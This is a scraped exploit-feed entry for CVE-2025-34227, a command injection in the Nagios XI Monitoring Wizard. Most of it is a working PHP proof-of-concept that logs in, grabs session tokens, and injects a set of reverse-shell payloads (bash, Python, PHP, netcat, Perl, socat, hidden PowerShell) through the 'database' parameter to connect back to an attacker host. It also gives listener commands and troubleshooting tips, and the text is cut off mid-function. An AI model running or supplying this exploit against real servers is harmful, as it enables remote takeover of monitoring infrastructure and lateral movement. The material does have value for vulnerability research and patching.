{"id":39063,"date":"2026-02-04T11:50:00","date_gmt":"2026-02-04T11:50:00","guid":{"rendered":"http:\/\/localhost\/?p=39063"},"modified":"2026-02-04T11:50:00","modified_gmt":"2026-02-04T11:50:00","slug":"nagios-xi-monitoring-wizard-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=39063","title":{"rendered":"\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection_PACKETSTORM:214917"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-04T17:31:00&#8243;,&#8221;description&#8221;:&#8221;Nagios XI is a widely used enterprise monitoring solution. A vulnerability exists within the Monitoring Wizard configuration page where the database parameter is unsafely passed into backend operations. Authenticated users can exploit this to execute&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Nagios XI Monitoring Wizard Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214917&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-34227&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Nagios XI Monitoring Wizard Command Injection Remote Code Execution                                                         |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.nagios.com\/products\/nagios-xi\/                                                                                  |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/211694\/ \\u0026 CVE-2025-34227\\n    \\n    [+] Summary : Nagios XI is a widely used enterprise monitoring solution. A vulnerability exists within the Monitoring Wizard configuration page where the \\&#8221;database\\&#8221; parameter\\n                  is unsafely passed into backend operations.Authenticated users can exploit this to execute arbitrary system commands,allowing full Remote Shell access.\\n    \\n    [+] Vulnerability Details\\n    \\n    The vulnerable endpoint:\\n    \\n        \/config\/monitoringwizard.php\\n    \\n    Parameter abused:\\n    \\n        database = \\&#8221;information_schema;\\u003ccommand\\u003e;\\&#8221;\\n    \\n    No input sanitization or escaping is performed, allowing command injection.\\n    \\n    Authenticated attackers can:\\n    \\n    \u2022 Execute arbitrary system commands\\n    \u2022 Obtain reverse shells\\n    \u2022 Read\/write sensitive files\\n    \u2022 Escalate privileges if Nagios runs with elevated permissions\\n    \\n    [+] Exploit Requirements\\n    \\n    \u2022 Valid Nagios XI user credentials\\n    \u2022 Access to the Monitoring Wizard\\n    \u2022 Vulnerable Nagios XI version\\n    \\n    [+] Exploit (PHP)\\n    \\n    The provided PoC does the following:\\n    \\n    1. Accesses the login page and retrieves the NSP token\\n    2. Logs in using valid credentials\\n    3. Accesses the Monitoring Wizard page to get a fresh NSP\\n    4. Generates multiple reverse shell payloads (Bash, Python, PHP, Netcat, Perl, Socat, Powershell)\\n    5. Injects payloads through the vulnerable \\&#8221;database\\&#8221; parameter\\n    6. Attempts to establish a reverse shell connection to the attacker\\n    \\n    Save as: poc.php\\n    \\n    Run with:\\n    \\n        php poc.php \\u003ctarget-url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e \\u003cattacker-ip\\u003e \\u003cattacker-port\\u003e\\n    \\n    Example:\\n    \\n        php poc.php http:\/\/192.168.1.100\/nagiosxi nagiosadmin pass123 192.168.1.50 4444\\n    \\n    [+] Usage Instructions\\n    \\n    1. Start a listener on your machine:\\n    \\n        nc -lvnp 4444\\n        or\\n        rlwrap nc -lvnp 4444\\n        or\\n        socat TCP-LISTEN:4444,fork EXEC:\/bin\/bash\\n    \\n    2. Run the exploit script with target credentials\\n    3. Observe the reverse shell connection\\n    \\n    [+] Impact\\n    \\n    Successful exploitation allows attackers to:\\n    \\n    \u2022 Execute arbitrary commands as Nagios user\\n    \u2022 Access system files (\/etc\/passwd, \/etc\/shadow)\\n    \u2022 Establish persistent access\\n    \u2022 Move laterally within monitored infrastructure\\n    \\n    [+] Recommendations\\n    \\n    \u2022 Apply Nagios XI security patches\\n    \u2022 Restrict access to the Monitoring Wizard\\n    \u2022 Monitor outgoing connections for anomalies\\n    \u2022 Harden web application configurations\\n    \u2022 Audit all services added in the Monitoring Wizard\\n    \\n    ======================================================================\\n    \\n    [+]  POC : \\n    \\n    \\u003c?php\\n    \\n    \/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c\\n    \/\/ php poc.php \\u003ctarget-url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e \\u003cattacker-ip\\u003e \\u003cattacker-port\\u003e\\n    \/\/ \u0645\u062b\u0627\u0644: php poc.php http:\/\/192.168.1.100\/nagiosxi nagiosadmin password123 192.168.1.50 4444\\n    \\n    if ($argc \\u003c 6) {\\n        echo \\&#8221;=====================================================\\\\n\\&#8221;;\\n        echo \\&#8221;Nagios XI Reverse Shell Exploit by indoushka\\\\n\\&#8221;;\\n        echo \\&#8221;=====================================================\\\\n\\&#8221;;\\n        echo \\&#8221;Usage: php \\&#8221; . $argv[0] . \\&#8221; \\u003ctarget-url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e \\u003cattacker-ip\\u003e \\u003cattacker-port\\u003e\\\\n\\\\n\\&#8221;;\\n        echo \\&#8221;Examples:\\\\n\\&#8221;;\\n        echo \\&#8221;  php \\&#8221; . $argv[0] . \\&#8221; http:\/\/192.168.1.100\/nagiosxi nagiosadmin password123 192.168.1.50 4444\\\\n\\&#8221;;\\n        echo \\&#8221;  php \\&#8221; . $argv[0] . \\&#8221; https:\/\/vulnerable-nagios.local\/nagiosxi admin admin123 10.0.0.5 9001\\\\n\\\\n\\&#8221;;\\n        echo \\&#8221;Note: Start listener first: nc -lvnp 4444\\\\n\\&#8221;;\\n        echo \\&#8221;=====================================================\\\\n\\&#8221;;\\n        exit(1);\\n    }\\n    \\n    \/\/ \u062a\u0639\u064a\u064a\u0646 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0625\u062f\u062e\u0627\u0644\\n    $target_url = rtrim($argv[1], &#8216;\/&#8217;);\\n    $username = $argv[2];\\n    $password = $argv[3];\\n    $attacker_ip = $argv[4];\\n    $attacker_port = (int)$argv[5];\\n    \\n    \/\/ \u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u062b\u0648\u0627\u0628\u062a\\n    define(&#8216;SERVICE_NAME&#8217;, &#8216;Nagios Update Service&#8217;);\\n    define(&#8216;LOGIN_ENDPOINT&#8217;, &#8216;\/login.php&#8217;);\\n    define(&#8216;CONFIGWIZARD_ENDPOINT&#8217;, &#8216;\/config\/monitoringwizard.php&#8217;);\\n    define(&#8216;USER_AGENT&#8217;, &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;);\\n    \\n    \/\/ \u062f\u0627\u0644\u0629 \u0644\u0644\u0637\u0628\u0627\u0639\u0629 \u0627\u0644\u0645\u0644\u0648\u0646\u0629\\n    function print_status($message, $type = &#8216;info&#8217;) {\\n        $colors = [\\n            &#8216;success&#8217; =\\u003e \\&#8221;\\\\033[32m\\&#8221;,  \/\/ \u0623\u062e\u0636\u0631\\n            &#8216;error&#8217; =\\u003e \\&#8221;\\\\033[31m\\&#8221;,    \/\/ \u0623\u062d\u0645\u0631\\n            &#8216;warning&#8217; =\\u003e \\&#8221;\\\\033[33m\\&#8221;,  \/\/ \u0623\u0635\u0641\u0631\\n            &#8216;info&#8217; =\\u003e \\&#8221;\\\\033[34m\\&#8221;,     \/\/ \u0623\u0632\u0631\u0642\\n            &#8216;step&#8217; =\\u003e \\&#8221;\\\\033[36m\\&#8221;,     \/\/ \u0633\u0645\u0627\u0648\u064a\\n        ];\\n        \\n        $reset = \\&#8221;\\\\033[0m\\&#8221;;\\n        $symbols = [\\n            &#8216;success&#8217; =\\u003e &#8216;[\u2713]&#8217;,\\n            &#8216;error&#8217; =\\u003e &#8216;[\u2717]&#8217;,\\n            &#8216;warning&#8217; =\\u003e &#8216;[!]&#8217;,\\n            &#8216;info&#8217; =\\u003e &#8216;[i]&#8217;,\\n            &#8216;step&#8217; =\\u003e &#8216;[\u2192]&#8217;\\n        ];\\n        \\n        echo $colors[$type] . $symbols[$type] . \\&#8221; \\&#8221; . $message . $reset . \\&#8221;\\\\n\\&#8221;;\\n    }\\n    \\n    \/\/ \u062f\u0627\u0644\u0629 \u0644\u0627\u0633\u062a\u062e\u0631\u0627\u062c nsp_str\\n    function get_nsp_str($html) {\\n        $pattern = &#8216;\/var\\\\s+nsp_str\\\\s*=\\\\s*\\&#8221;([a-f0-9]+)\\&#8221;\/&#8217;;\\n        if (preg_match($pattern, $html, $matches)) {\\n            return $matches[1];\\n        }\\n        return null;\\n    }\\n    \\n    \/\/ \u062f\u0627\u0644\u0629 \u0644\u0627\u0633\u062a\u062e\u0631\u0627\u062c token \u0645\u0646 \u0627\u0644\u0635\u0641\u062d\u0629\\n    function get_token($html) {\\n        $pattern = &#8216;\/\\u003cinput[^\\u003e]*name=\\&#8221;token\\&#8221;[^\\u003e]*value=\\&#8221;([^\\&#8221;]+)\\&#8221;\/&#8217;;\\n        if (preg_match($pattern, $html, $matches)) {\\n            return $matches[1];\\n        }\\n        return null;\\n    }\\n    \\n    \/\/ \u062f\u0627\u0644\u0629 \u0644\u0625\u0646\u0634\u0627\u0621 payload\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629 \u0644\u0644reverse shell\\n    function generate_reverse_shell_payloads($ip, $port) {\\n        $payloads = [];\\n        \\n        \/\/ 1. Bash Reverse Shell (\u0627\u0644\u0623\u0643\u062b\u0631 \u0634\u064a\u0648\u0639\u0627\u064b)\\n        $payloads[&#8216;bash&#8217;] = \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{$ip}\/{$port} 0\\u003e\\u00261\\&#8221;;\\n        \\n        \/\/ 2. Python Reverse Shell\\n        $payloads[&#8216;python&#8217;] = \\&#8221;python3 -c &#8216;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\&#8221;{$ip}\\\\\\&#8221;,{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\\\\&#8221;\/bin\/sh\\\\\\&#8221;,\\\\\\&#8221;-i\\\\\\&#8221;])&#8217;\\&#8221;;\\n        \\n        \/\/ 3. PHP Reverse Shell\\n        $payloads[&#8216;php&#8217;] = \\&#8221;php -r &#8216;\\\\$sock=fsockopen(\\\\\\&#8221;{$ip}\\\\\\&#8221;,{$port});exec(\\\\\\&#8221;\/bin\/sh -i \\u003c\\u00263 \\u003e\\u00263 2\\u003e\\u00263\\\\\\&#8221;);&#8217;\\&#8221;;\\n        \\n        \/\/ 4. Netcat Traditional\\n        $payloads[&#8216;nc_trad&#8217;] = \\&#8221;nc -e \/bin\/sh {$ip} {$port}\\&#8221;;\\n        \\n        \/\/ 5. Netcat OpenBSD\\n        $payloads[&#8216;nc_openbsd&#8217;] = \\&#8221;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2\\u003e\\u00261|nc {$ip} {$port} \\u003e\/tmp\/f\\&#8221;;\\n        \\n        \/\/ 6. Perl Reverse Shell\\n        $payloads[&#8216;perl&#8217;] = \\&#8221;perl -e &#8216;use Socket;\\\\$i=\\\\\\&#8221;{$ip}\\\\\\&#8221;;\\\\$p={$port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\\\\\\&#8221;tcp\\\\\\&#8221;));if(connect(S,sockaddr_in(\\\\$p,inet_aton(\\\\$i)))){open(STDIN,\\\\\\&#8221;\\u003e\\u0026S\\\\\\&#8221;);open(STDOUT,\\\\\\&#8221;\\u003e\\u0026S\\\\\\&#8221;);open(STDERR,\\\\\\&#8221;\\u003e\\u0026S\\\\\\&#8221;);exec(\\\\\\&#8221;\/bin\/sh -i\\\\\\&#8221;);};&#8217;\\&#8221;;\\n        \\n        \/\/ 7. Socat (\u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u062b\u0628\u062a\u0627\u064b)\\n        $payloads[&#8216;socat&#8217;] = \\&#8221;socat TCP:{$ip}:{$port} EXEC:\/bin\/sh\\&#8221;;\\n        \\n        \/\/ 8. Powershell (\u0644\u0623\u0646\u0638\u0645\u0629 Windows \u0625\u0630\u0627 \u0643\u0627\u0646 Nagios \u064a\u0639\u0645\u0644 \u0639\u0644\u0649 Windows)\\n        $payloads[&#8216;powershell&#8217;] = \\&#8221;powershell -NoP -NonI -W Hidden -Exec Bypass -Command \\\\\\&#8221;\\\\$client = New-Object System.Net.Sockets.TCPClient(&#8216;{$ip}&#8217;,{$port});\\\\$stream = \\\\$client.GetStream();[byte[]]\\\\$bytes = 0..65535|%{0};while((\\\\$i = \\\\$stream.Read(\\\\$bytes, 0, \\\\$bytes.Length)) -ne 0){;\\\\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\\\\$bytes,0, \\\\$i);\\\\$sendback = (iex \\\\$data 2\\u003e\\u00261 | Out-String );\\\\$sendback2 = \\\\$sendback + &#8216;PS &#8216; + (pwd).Path + &#8216;\\u003e &#8216;;\\\\$sendbyte = ([text.encoding]::ASCII).GetBytes(\\\\$sendback2);\\\\$stream.Write(\\\\$sendbyte,0,\\\\$sendbyte.Length);\\\\$stream.Flush()};\\\\$client.Close()\\\\\\&#8221;\\&#8221;;\\n        \\n        return $payloads;\\n    }\\n    \\n    \/\/ \u062f\u0627\u0644\u0629 \u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0628\u0639\u062f \u062a\u0646\u0641\u064a\u0630 shell\\n    function test_shell_connection($ip, $port, $timeout = 5) {\\n        $socket = @fsockopen($ip, $port, $errno, $errstr, $timeout);\\n        if ($socket) {\\n            fclose($socket);\\n            return true;\\n        }\\n        return false;\\n    }\\n    \\n    \/\/ \u062f\u0627\u0644\u0629 \u0631\u0626\u064a\u0633\u064a\u0629 \u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0647\u062c\u0648\u0645\\n    function exploit_nagios($target_url, $username, $password, $attacker_ip, $attacker_port) {\\n        \\n        print_status(\\&#8221;=====================================================\\&#8221;, &#8216;info&#8217;);\\n        print_status(\\&#8221;Starting Nagios XI Reverse Shell Exploit\\&#8221;, &#8216;info&#8217;);\\n        print_status(\\&#8221;Target: \\&#8221; . $target_url, &#8216;info&#8217;);\\n        print_status(\\&#8221;Attacker: \\&#8221; . $attacker_ip . \\&#8221;:\\&#8221; . $attacker_port, &#8216;info&#8217;);\\n        print_status(\\&#8221;=====================================================\\\\n\\&#8221;, &#8216;info&#8217;);\\n        \\n        \/\/ \u0625\u0646\u0634\u0627\u0621 \u062c\u0644\u0633\u0629 cURL\\n        $ch = curl_init();\\n        \\n        \/\/ \u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0623\u0633\u0627\u0633\u064a\u0629\\n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\\n        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\\n        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);\\n        curl_setopt($ch, CURLOPT_USERAGENT, USER_AGENT);\\n        curl_setopt($ch, CURLOPT_TIMEOUT, 30);\\n        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);\\n        \\n        \/\/ \u0645\u0644\u0641 \u0627\u0644\u0643\u0648\u0643\u064a\u0632\\n        $cookie_file = tempnam(sys_get_temp_dir(), &#8216;nagios_cookie_&#8217;);\\n        curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);\\n        curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);\\n        \\n        \/\/ Proxy \u0644\u0644\u062a\u0635\u062d\u064a\u062d (\u0642\u0645 \u0628\u0625\u0644\u063a\u0627\u0621 \u0627\u0644\u062a\u0639\u0644\u064a\u0642 \u0639\u0646\u062f \u0627\u0644\u062d\u0627\u062c\u0629)\\n        \/\/ curl_setopt($ch, CURLOPT_PROXY, &#8216;http:\/\/127.0.0.1:8080&#8217;);\\n        \/\/ curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);\\n        \\n        print_status(\\&#8221;Step 1: Accessing login page&#8230;\\&#8221;, &#8216;step&#8217;);\\n        \\n        \/\/ \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0635\u0641\u062d\u0629 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\\n        $login_url = $target_url . LOGIN_ENDPOINT;\\n        curl_setopt($ch, CURLOPT_URL, $login_url);\\n        curl_setopt($ch, CURLOPT_HTTPGET, true);\\n        \\n        $login_page = curl_exec($ch);\\n        \\n        if (curl_errno($ch)) {\\n            print_status(\\&#8221;Failed to access login page: \\&#8221; . curl_error($ch), &#8216;error&#8217;);\\n            return false;\\n        }\\n        \\n        \/\/ \u0627\u0633\u062a\u062e\u0631\u0627\u062c nsp\\n        $nsp_token = get_nsp_str($login_page);\\n        if (!$nsp_token) {\\n            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0646\u0645\u0637 \u0622\u062e\u0631\\n            $nsp_token = get_token($login_page);\\n        }\\n        \\n        if (!$nsp_token) {\\n            print_status(\\&#8221;Could not extract NSP token from login page\\&#8221;, &#8216;error&#8217;);\\n            return false;\\n        }\\n        \\n        print_status(\\&#8221;NSP Token extracted: \\&#8221; . substr($nsp_token, 0, 10) . \\&#8221;&#8230;\\&#8221;, &#8216;success&#8217;);\\n        \\n        print_status(\\&#8221;\\\\nStep 2: Attempting login&#8230;\\&#8221;, &#8216;step&#8217;);\\n        \\n        \/\/ \u0628\u064a\u0627\u0646\u0627\u062a \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\\n        $login_data = http_build_query([\\n            &#8216;nsp&#8217; =\\u003e $nsp_token,\\n            &#8216;page&#8217; =\\u003e &#8216;auth&#8217;,\\n            &#8216;pageopt&#8217; =\\u003e &#8216;login&#8217;,\\n            &#8216;username&#8217; =\\u003e $username,\\n            &#8216;password&#8217; =\\u003e $password,\\n            &#8216;loginButton&#8217; =\\u003e &#8221;\\n        ]);\\n        \\n        curl_setopt($ch, CURLOPT_URL, $login_url);\\n        curl_setopt($ch, CURLOPT_POST, true);\\n        curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);\\n        \\n        $login_response = curl_exec($ch);\\n        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n        \\n        \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0646\u062c\u0627\u062d \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062f\u062e\u0648\u0644\\n        $effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);\\n        if (strpos($effective_url, &#8216;index.php&#8217;) === false \\u0026\\u0026 $http_code != 302) {\\n            print_status(\\&#8221;Login failed! Check credentials\\&#8221;, &#8216;error&#8217;);\\n            return false;\\n        }\\n        \\n        print_status(\\&#8221;Login successful!\\&#8221;, &#8216;success&#8217;);\\n        \\n        print_status(\\&#8221;\\\\nStep 3: Accessing configuration wizard&#8230;\\&#8221;, &#8216;step&#8217;);\\n        \\n        \/\/ \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0635\u0641\u062d\u0629 configuration wizard\\n        $wizard_url = $target_url . CONFIGWIZARD_ENDPOINT;\\n        curl_setopt($ch, CURLOPT_URL, $wizard_url);\\n        curl_setopt($ch, CURLOPT_HTTPGET, true);\\n        \\n        $wizard_page = curl_exec($ch);\\n        \\n        if (curl_errno($ch)) {\\n            print_status(\\&#8221;Failed to access wizard: \\&#8221; . curl_error($ch), &#8216;error&#8217;);\\n            return false;\\n        }\\n        \\n        \/\/ \u0627\u0633\u062a\u062e\u0631\u0627\u062c nsp \u062c\u062f\u064a\u062f\\n        $wizard_nsp = get_nsp_str($wizard_page);\\n        if (!$wizard_nsp) {\\n            $wizard_nsp = get_token($wizard_page);\\n        }\\n        \\n        if (!$wizard_nsp) {\\n            print_status(\\&#8221;Could not extract NSP token from wizard page\\&#8221;, &#8216;warning&#8217;);\\n            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0645\u0639 nsp \u0627\u0644\u0642\u062f\u064a\u0645\\n            $wizard_nsp = $nsp_token;\\n        } else {\\n            print_status(\\&#8221;New NSP Token extracted\\&#8221;, &#8216;success&#8217;);\\n        }\\n        \\n        print_status(\\&#8221;\\\\nStep 4: Generating reverse shell payloads&#8230;\\&#8221;, &#8216;step&#8217;);\\n        \\n        \/\/ \u0625\u0646\u0634\u0627\u0621 payload\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629\\n        $payloads = generate_reverse_shell_payloads($attacker_ip, $attacker_port);\\n        \\n        \/\/ \u0627\u062e\u062a\u0628\u0627\u0631 payload\u0627\u062a \u0628\u0627\u0644\u062a\u0631\u062a\u064a\u0628\\n        $successful_payloads = [];\\n        \\n        foreach ($payloads as $name =\\u003e $payload) {\\n            print_status(\\&#8221;Testing payload: \\&#8221; . $name, &#8216;info&#8217;);\\n            \\n            \/\/ \u0628\u0646\u0627\u0621 payload \u0644\u0644\u0647\u062c\u0648\u0645\\n            $exploit_payload = http_build_query([\\n                \\&#8221;update\\&#8221; =\\u003e 1,\\n                \\&#8221;nsp\\&#8221; =\\u003e $wizard_nsp,\\n                \\&#8221;step\\&#8221; =\\u003e 3,\\n                \\&#8221;nextstep\\&#8221; =\\u003e 5,\\n                \\&#8221;wizard\\&#8221; =\\u003e \\&#8221;mysqlquery\\&#8221;,\\n                \\&#8221;tpl\\&#8221; =\\u003e &#8221;,\\n                \\&#8221;hostname\\&#8221; =\\u003e \\&#8221;localhost\\&#8221;,\\n                \\&#8221;operation\\&#8221; =\\u003e &#8221;,\\n                \\&#8221;selectedhostconfig\\&#8221; =\\u003e &#8221;,\\n                \\&#8221;services_serial\\&#8221; =\\u003e &#8221;,\\n                \\&#8221;serviceargs_serial\\&#8221; =\\u003e &#8221;,\\n                \\&#8221;config_serial\\&#8221; =\\u003e &#8221;,\\n                \\&#8221;ip_address\\&#8221; =\\u003e \\&#8221;127.0.0.1\\&#8221;,\\n                \\&#8221;port\\&#8221; =\\u003e 3306,\\n                \\&#8221;username\\&#8221; =\\u003e \\&#8221;nagios\\&#8221;,\\n                \\&#8221;password\\&#8221; =\\u003e \\&#8221;nagios\\&#8221;,\\n                \\&#8221;database\\&#8221; =\\u003e \\&#8221;nagios; \\&#8221; . $payload . \\&#8221;; &#8212; \\&#8221;,\\n                \\&#8221;queryname\\&#8221; =\\u003e SERVICE_NAME . \\&#8221; &#8211; \\&#8221; . $name,\\n                \\&#8221;query\\&#8221; =\\u003e \\&#8221;SELECT &#8216;shell_test&#8217;\\&#8221;,\\n                \\&#8221;warning\\&#8221; =\\u003e 10,\\n                \\&#8221;check_interval\\&#8221; =\\u003e 1,\\n                \\&#8221;retry_interval\\&#8221; =\\u003e 1,\\n                \\&#8221;critical\\&#8221; =\\u003e 20,\\n                \\&#8221;finishButton\\&#8221; =\\u003e \\&#8221;Finish\\&#8221;\\n            ]);\\n            \\n            print_status(\\&#8221;Executing payload: \\&#8221; . $name, &#8216;info&#8217;);\\n            \\n            \/\/ \u0625\u0631\u0633\u0627\u0644 payload\\n            curl_setopt($ch, CURLOPT_URL, $wizard_url);\\n            curl_setopt($ch, CURLOPT_POST, true);\\n            curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);\\n            \\n            $exploit_response = curl_exec($ch);\\n            $exploit_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            \\n            \/\/ \u0627\u0646\u062a\u0638\u0627\u0631 \u0642\u0644\u064a\u0644\u0627\u064b \u0644\u062a\u0646\u0641\u064a\u0630 shell\\n            sleep(2);\\n            \\n            \/\/ \u0627\u062e\u062a\u0628\u0627\u0631 \u0625\u0630\u0627 \u0643\u0627\u0646 shell \u0646\u0634\u0637\\n            if (test_shell_connection($attacker_ip, $attacker_port, 3)) {\\n                print_status(\\&#8221;SUCCESS! Reverse shell established using \\&#8221; . $name . \\&#8221; payload!\\&#8221;, &#8216;success&#8217;);\\n                $successful_payloads[] = $name;\\n                \\n                \/\/ \u064a\u0645\u0643\u0646 \u0625\u064a\u0642\u0627\u0641 \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631 \u0647\u0646\u0627 \u0625\u0630\u0627 \u0623\u0631\u062f\u0646\u0627 \u0623\u0648\u0644 shell \u0646\u0627\u062c\u062d\\n                \/\/ break;\\n            } else {\\n                print_status(\\&#8221;Payload \\&#8221; . $name . \\&#8221; failed or shell not established\\&#8221;, &#8216;warning&#8217;);\\n            }\\n            \\n            \/\/ \u062a\u0623\u062e\u064a\u0631 \u0628\u064a\u0646 \u0627\u0644\u0645\u062d\u0627\u0648\u0644\u0627\u062a\\n            sleep(1);\\n        }\\n        \\n        print_status(\\&#8221;\\\\nStep 5: Cleanup and final results&#8230;\\&#8221;, &#8216;step&#8217;);\\n        \\n        if (!empty($successful_payloads)) {\\n            print_status(\\&#8221;=====================================================\\&#8221;, &#8216;success&#8217;);\\n            print_status(\\&#8221;EXPLOIT SUCCESSFUL!\\&#8221;, &#8216;success&#8217;);\\n            print_status(\\&#8221;The following payloads worked:\\&#8221;, &#8216;success&#8217;);\\n            foreach ($successful_payloads as $payload) {\\n                print_status(\\&#8221;  &#8211; \\&#8221; . $payload, &#8216;success&#8217;);\\n            }\\n            print_status(\\&#8221;\\\\nYou should now have a reverse shell connection!\\&#8221;, &#8216;success&#8217;);\\n            print_status(\\&#8221;Attacker: \\&#8221; . $attacker_ip . \\&#8221;:\\&#8221; . $attacker_port, &#8216;success&#8217;);\\n            print_status(\\&#8221;=====================================================\\&#8221;, &#8216;success&#8217;);\\n            \\n            \/\/ \u0646\u0635\u0627\u0626\u062d \u0625\u0636\u0627\u0641\u064a\u0629\\n            print_status(\\&#8221;\\\\n[!] IMPORTANT NOTES:\\&#8221;, &#8216;warning&#8217;);\\n            print_status(\\&#8221;1. Keep your listener running: nc -lvnp \\&#8221; . $attacker_port, &#8216;info&#8217;);\\n            print_status(\\&#8221;2. The service will appear in Nagios dashboard as: \\&#8221; . SERVICE_NAME, &#8216;info&#8217;);\\n            print_status(\\&#8221;3. Manual cleanup required after exploitation:\\&#8221;, &#8216;warning&#8217;);\\n            print_status(\\&#8221;   &#8211; Remove the service from Nagios dashboard\\&#8221;, &#8216;warning&#8217;);\\n            print_status(\\&#8221;   &#8211; Kill any remaining processes\\&#8221;, &#8216;warning&#8217;);\\n            \\n            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0646\u0641\u064a\u0630 \u0623\u0645\u0631 \u0644\u0627\u062e\u062a\u0628\u0627\u0631 shell\\n            print_status(\\&#8221;\\\\n[!] Testing shell with simple command&#8230;\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;If you have a listener, try sending: whoami; id; pwd\\&#8221;, &#8216;info&#8217;);\\n            \\n        } else {\\n            print_status(\\&#8221;=====================================================\\&#8221;, &#8216;error&#8217;);\\n            print_status(\\&#8221;EXPLOIT UNSUCCESSFUL\\&#8221;, &#8216;error&#8217;);\\n            print_status(\\&#8221;Possible reasons:\\&#8221;, &#8216;error&#8217;);\\n            print_status(\\&#8221;1. Firewall blocking outgoing connections\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;2. Target system missing required tools (bash, python, etc.)\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;3. Command injection filtered or blocked\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;4. Nagios running in restricted environment\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;=====================================================\\&#8221;, &#8216;error&#8217;);\\n            \\n            \/\/ \u0627\u0642\u062a\u0631\u0627\u062d\u0627\u062a \u0644\u0644\u062a\u0635\u062d\u064a\u062d\\n            print_status(\\&#8221;\\\\n[!] TROUBLESHOOTING TIPS:\\&#8221;, &#8216;warning&#8217;);\\n            print_status(\\&#8221;1. Try different payload types\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;2. Check if outbound connections are allowed from target\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;3. Verify listener is running and not blocked by firewall\\&#8221;, &#8216;info&#8217;);\\n            print_status(\\&#8221;4. Try using different ports (80, 443, 53)\\&#8221;, &#8216;info&#8217;);\\n        }\\n        \\n        \/\/ \u062a\u0646\u0638\u064a\u0641\\n        curl_close($ch);\\n        if (file_exists($cookie_file)) {\\n            unlink($cookie_file);\\n        }\\n        \\n        return !empty($successful_payloads);\\n    }\\n    \\n    \/\/ \u062f\u0627\u0644\u0629 \u0644\u062a\u0634\u063a\u064a\u0644 listener \u062a\u0644\u0642\u0627\u0626\u064a\u0627\u064b (\u0627\u062e\u062a\u064a\u0627\u0631\u064a)\\n    function start_listener_hint($ip, $port) {\\n        print_status(\\&#8221;\\\\n[!] LISTENER SETUP INSTRUCTIONS:\\&#8221;, &#8216;info&#8217;);\\n        print_status(\\&#8221;Open a new terminal and run one of these commands:\\&#8221;, 